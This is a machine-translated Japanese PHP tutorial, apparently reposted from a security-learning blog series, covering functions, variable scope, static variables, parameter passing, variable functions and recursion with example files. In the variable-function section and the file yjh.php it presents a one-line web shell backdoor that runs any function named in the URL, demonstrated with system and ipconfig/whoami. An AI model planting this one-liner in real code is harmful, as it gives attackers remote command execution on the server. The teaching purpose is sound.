[CyberSecurityLearning 46] PHP関数

目次

カスタム機能

構造

注意:

PHP変数のスコープ

ローカル変数

グローバル変数

静的変数

パラメータの受け渡し

1.パラメータを値で渡す(デフォルトの方法)

2.参照渡し

3.デフォルトパラメータ

4.可変機能パラメータリスト

可変関数(可変関数)

最も単純なバックドア(最も単純な1文のトロイの木馬):$ a($ b)

再帰関数

ソースコード

1.php

2.php(ローカル変数)

3.php(グローバル変数)

4.php(静的変数)

5.php()

6.php(デフォルトでパラメーターを渡す/参照で渡す)

7.php(デフォルトパラメータ)

8.php(可変関数パラメーター)

9.php(変数関数)

yjh.php(最も単純なバックドア)

10.php(再帰関数)


カスタム機能

コードブロック

入力があり、ほとんどの場合出力があります

 

構造

関数関数名(パラメーター){

   コードブロック

   戻る;

}

注意:

関数を呼び出すときは、実際のパラメーターを正式なパラメーターに順番に指定する必要があります。
関数が呼び出されると、それらは互いに独立しており、デフォルトでは接続はありません。
実行が完了したら、呼び出し位置に戻り、下向きに実行を続けます。

PHP変数のスコープ

ローカル変数

関数内で定義された変数

変数のスコープはこの関数です

グローバル変数

PHPスクリプトでは、関数の外部で定義された変数

変数のスコープはPHPスクリプト全体です

関数でグローバル変数を使用しますか?
1.パラメータの受け渡し

2.声明

グローバル

3.定数の範囲はスーパーグローバルです(関数の内部と外部の両方を使用できます)

<?php
$a=10;
define("NAME","AJEST")
function test(){
    echo $a;
    global $a;
    echo $a;
    echo NAME; 
}
test();
?>

静的変数

関数内で定義

静的修飾子で変更

関数が最初に実行されたときにのみ初期化されます

 

パラメータの受け渡し

1.パラメータを値で渡す(デフォルトの方法)

仮パラメータの操作は、実際のパラメータには影響しません。

2.参照渡し

これは、実際のパラメーターにエイリアスを与えることと同じであり、仮パラメーターの操作は実際のパラメーターに影響します。

3.デフォルトパラメータ

実際のパラメーターが関数に渡されない場合は、デフォルト値を使用してください

提案:すべてのデフォルトパラメータを指定します

4.可変機能パラメータリスト

func_get_arg  (int  $arg_num ): 混合

func_get_args(); //

func_get_arg(); //パラメータオフセットに従って、0からカウントしてパラメータを取得します

func_num_args(); //パラメータの数を取得します

可変関数(可変関数)

関数は変数として名前が付けられ、次のような構造を持っています

$ a($ b)

最も簡単なバックドアでもあります

変数の直後に括弧を追加します-関数になります

この種の動的関数は非常に危険です。この動的関数の関数名が制御可能で、パラメーターが制御可能である場合、任意に直接コマンドを実行できます。これは、RCE(リモートコマンド/コード実行の脆弱性)の原則の1つです。

printやechoなど、関数ではないPHPステートメントがいくつかあります。出力する必要がある場合は、printfを試してください。(Printfには文字列出力関数しかありません)
次に、システム関数は文字列をコマンドとして実行します

システム—外部プログラムを実行し、出力を表示します

最も単純なバックドア(最も単純な1文のトロイの木馬):$ a($ b)

2つの変数名だけがなくなっています

<?php
$_GET['a']($_GET['b']);
?>

次のURLを入力します。localhost/ 1.php ?a = system&b = ipconfig
(システム—外部プログラムを実行して出力を表示します)

URLを入力します:localhost / 1.php ?a = system&b = whoami

再帰関数

再帰関数は、関数内で独自の関数を呼び出します

 

 

ソースコード

1.php

<?php
function userprint(){
	echo "This is userprint Fun!";
}
function hello($name){
	echo "Hello, ".$name;
}
function add($a,$b){
	$c = $a + $b;
	return $c;
}
userprint();
hello("GGG");
echo "<hr />";
echo add(1,2);
?>

2.php(ローカル変数)

<?php
$a = 10;
function test(){
	echo $a;
}
test();
echo "<hr />";
echo $a;
?>

3.php(グローバル変数)

<?php
$a = 10;
define("NAME","GGG");
function test(){
	echo $a;
	global $a;
	echo $a;
	echo NAME;
}
test();
?>

4.php(静的変数)

<?php
function test(){
	static $a = 10;
	echo ++$a."|";
}
test();
test();
test();
?>

 

5.php()

<?php
function A(){
	echo "This is A fun!<hr />";
}
function B(){
	echo "This is B fun!<hr />";
	A();
	echo "Fun B end!<hr />";
}
function C(){
	echo "This is Fun C<hr />";
	B();
	echo "All Fun end<hr />";
}
C();
?>

6.php(デフォルトでパラメーターを渡す/参照で渡す)

<?php
/*
function add($x){
	echo ++$x;
}
*/
function add(&$x){
	echo ++$x;
}
$a = 3;
add($a);
echo "<hr />";
echo $a;
?>

7.php(デフォルトパラメータ)

<?php
function add($a=2,$b){
	echo $a+$b."<hr />";
}
add(10,20);
//add(4);
add (1,2,3,4,5);
?>

8.php(可変関数パラメーター)

<?php
function test(){
	//echo "This is :".__FUNCTION__;
	echo func_num_args();//传参个数
	echo "<br />";
	echo func_get_arg(1);//根据参数偏移量,从零开始计数,获取参数值
	echo "<br />";
	for($i=0;$i<func_num_args();$i++){
		echo func_get_arg($i)."|";
	}
}
//test();
test("GGG",24,true,89.9);
echo "<br />";
?>

9.php(変数関数)

<?php
function test1(){
	echo "This is func".__FUNCTION__;
	echo "<br />".func_get_arg(0);
}
function test2(){
	echo "This is func".__FUNCTION__;
	echo "<br />".func_get_arg(0);
}
//$a="test1";
//$a="test2";
//$a="var_dump";
//$a="echo"
//$a("GGG");//函数 函数名$abs test1("GGG")
//$a="printf";
$a ="system";
$a("ipconfig");
?>

yjh.php(最も単純なバックドア)

<?php
$_GET['a']($_GET['b']);
?>

10.php(再帰関数)

<?php
function test($n){
	echo $n.'&nbsp';
	if($n>0){
		test($n-1);
	}
	else{
		echo '<-->';
	}
	echo $n.'&nbsp';
}
test(3);//3 2 1 0 <-->0 1 2 3
 
?>

 

 

おすすめ

転載: blog.csdn.net/Waffle666/article/details/115026485